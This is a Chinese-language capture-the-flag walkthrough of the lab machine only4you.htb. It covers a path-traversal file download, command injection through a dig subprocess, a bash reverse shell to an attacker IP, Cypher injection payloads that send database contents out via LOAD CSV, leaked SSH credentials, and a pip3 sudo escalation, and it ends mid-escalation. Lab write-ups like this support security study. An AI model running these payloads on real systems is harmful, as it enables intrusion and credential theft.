信息收集 nmap先扫下端口
开放22,80,先看80端口有什么东西
自动跳转域名了无法访问,加个hosts解析成功访问
访问慢的可以连一下物理机的代理,在vpn文件里添加
1 2 socks-proxy-retry socks-proxy 192.168.1.1 7890
没找到什么cms可用信息
翻到一个链接,同样添加hosts在访问
可以直接下载源码
代码审计 任意文件下载 定位到关键路由download
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 @app.route('/download' , methods=['POST' ] ) def download (): image = request.form['image' ] filename = posixpath.normpath(image) if '..' in filename or filename.startswith('../' ): flash('Hacking detected!' , 'danger' ) return redirect('/list' ) if not os.path.isabs(filename): filename = os.path.join(app.config['LIST_FOLDER' ], filename) try : if not os.path.isfile(filename): flash('Image doesn\'t exist!' , 'danger' ) return redirect('/list' ) except (TypeError, ValueError): raise BadRequest() return send_file(filename, as_attachment=True )
可以看到对../做了过滤,直接访问/download是不行的,还有两个功能点可以上传
上传之后会跳转到list
抓取下载包
成功绕过,其实/etc/passwd也行
下载不了ssh私钥,不然可以免密登录
读取nginx配置信息
继续读取主机文件,找到绝对路径,两个站点,一个是最开始访问的only4you.htb,另一个是刚刚拿到源码的,beta站
猜测和beta站目录结构一样,读取下app.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 from flask import Flask, render_template, request, flash, redirectfrom form import sendmessageimport uuidapp = Flask(__name__) app.secret_key = uuid.uuid4().hex @app.route('/' , methods=['GET' , 'POST' ] ) def index (): if request.method == 'POST' : email = request.form['email' ] subject = request.form['subject' ] message = request.form['message' ] ip = request.remote_addr status = sendmessage(email, subject, message, ip) if status == 0 : flash('Something went wrong!' , 'danger' ) elif status == 1 : flash('You are not authorized!' , 'danger' ) else : flash('Your message was successfuly sent! We will reply as soon as possible.' , 'success' ) return redirect('/#contact' ) else : return render_template('index.html' ) @app.errorhandler(404 ) def page_not_found (error ): return render_template('404.html' ), 404 @app.errorhandler(500 ) def server_errorerror (error ): return render_template('500.html' ), 500 @app.errorhandler(400 ) def bad_request (error ): return render_template('400.html' ), 400 @app.errorhandler(405 ) def method_not_allowed (error ): return render_template('405.html' ), 405 if __name__ == '__main__' : app.run(host='127.0.0.1' , port=80 , debug=False )
rce 复制出来审计,前面都正常flask,发现有个from form,这是beta站没有的
继续读取这个form.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 import smtplib, refrom email.message import EmailMessagefrom subprocess import PIPE, runimport ipaddressdef issecure (email, ip ): if not re.match("([A-Za-z0-9]+[.-_])*[A-Za-z0-9]+@[A-Za-z0-9-]+(\.[A-Z|a-z]{2,})" , email): return 0 else : domain = email.split("@" , 1 )[1 ] result = run([f"dig txt {domain} " ], shell=True , stdout=PIPE) output = result.stdout.decode('utf-8' ) if "v=spf1" not in output: return 1 else : domains = [] ips = [] if "include:" in output: dms = '' .join(re.findall(r"include:.*\.[A-Z|a-z]{2,}" , output)).split("include:" ) dms.pop(0 ) for domain in dms: domains.append(domain) while True : for domain in domains: result = run([f"dig txt {domain} " ], shell=True , stdout=PIPE) output = result.stdout.decode('utf-8' ) if "include:" in output: dms = '' .join(re.findall(r"include:.*\.[A-Z|a-z]{2,}" , output)).split("include:" ) domains.clear() for domain in dms: domains.append(domain) elif "ip4:" in output: ipaddresses = '' .join(re.findall(r"ip4:+[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+[/]?[0-9]{2}" , output)).split("ip4:" ) ipaddresses.pop(0 ) for i in ipaddresses: ips.append(i) else : pass break elif "ip4" in output: ipaddresses = '' .join(re.findall(r"ip4:+[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+[/]?[0-9]{2}" , output)).split("ip4:" ) ipaddresses.pop(0 ) for i in ipaddresses: ips.append(i) else : return 1 for i in ips: if ip == i: return 2 elif ipaddress.ip_address(ip) in ipaddress.ip_network(i): return 2 else : return 1 def sendmessage (email, subject, message, ip ): status = issecure(email, ip) if status == 2 : msg = EmailMessage() msg['From' ] = f'{email} ' msg['To' ] = 'info@only4you.htb' msg['Subject' ] = f'{subject} ' msg['Message' ] = f'{message} ' smtp = smtplib.SMTP(host='localhost' , port=25 ) smtp.send_message(msg) smtp.quit() return status elif status == 1 : return status else : return status
来到这一行,这里的run是subprocess模块的
看不明白用chatgpt解释一下,比自己找文档要来的快
那么只要domain是可控的,我们就可以执行命令,跟进domain这个变量
继续跟进这个函数,在这里被调用
继续跟进sendmessage函数,在app.py中被调用
看到路由为/,那么应该就是首页这里提交的数据了
抓包,慢慢fuzz
这里要绕过正则才行,也就是必须要是email格式,从@开始切割,取第二个值,用;后面跟命令就行
反弹shell 这里是没有回显的,本地起个http查看是否执行成功
成功执行
反弹一个shell回来
shell.txt内容
1 bash -i >& /dev/tcp/10.10.16.3/9001 0>&1
打到这里机器重启了,所以后文ip会变
提权 本地信息收集 反弹回来的权限很低
发现了几个不对外开放的端口:3306,3000,7474等
frp内网穿透 因为这里的几个端口是不对外开放的,所以要将它代理出来
frps.ini
frpc.ini,这里server_addr是kali vpn的地址
用wget从kali上直接下载过去,启动
分别访问
neo4j注入 总结当前信息:3000端口为Gogs 7474端口是neo4j 8001端口 admin/admin弱口令可以登录
通过searchsploit搜索到相关漏洞
验证发现不是这个,继续往下看到搜索框,尝试注入
找下neo4j的注入方法:https://book.hacktricks.xyz/pentesting-web/sql-injection/cypher-injection-neo4j#common-cypher-injections
1 ' OR 1=1 WITH 1 as a CALL dbms.components() YIELD name, versions, edition UNWIND versions as version LOAD CSV FROM ' http:/ / 10.10 .16 .6 / ?version= ' + version + ' & name= ' + name + ' & edition= ' + edition as l RETURN 0 as _0 //
可以看到成功返回了版本信息
获取表
1 1 ' OR 1=1 WITH 1 as a CALL db.labels() yield label LOAD CSV FROM ' http:/ / 10.10 .16 .6 / ?label= '+label as l RETURN 0 as _0 //
获取账号密码
1 1 ' OR 1=1 WITH 1 as a MATCH (f:user) UNWIND keys(f) as p LOAD CSV FROM ' http:/ / 10.10 .16 .6 / ?' + p +' = '+toString(f[p]) as l RETURN 0 as _0 //
拿到密码
john
admin
碰撞下ssh,john登录成功
拿到第一个flag
pip提权 发现一个sudo权限的命令 pip3
关于pip提权 https://embracethered.com/blog/posts/2022/python-package-manager-install-and-download-vulnerability/
先下载需要的文件 https://github.com/wunderwuzzi23/this_is_fine_wuzzi.git
修改setup.py
然后编译
编译完成后dict目录会有一个压缩包
现在登录Gogs,也就是我们刚刚从neo4j跑出来的账号 john/ThisIs4You
进入仓库,将私有取消
然后上传刚刚编译好的压缩包文件
不知道为什么下载一直报解压错误,猜测可能是我kali是arm架构的,编译的包x64无法使用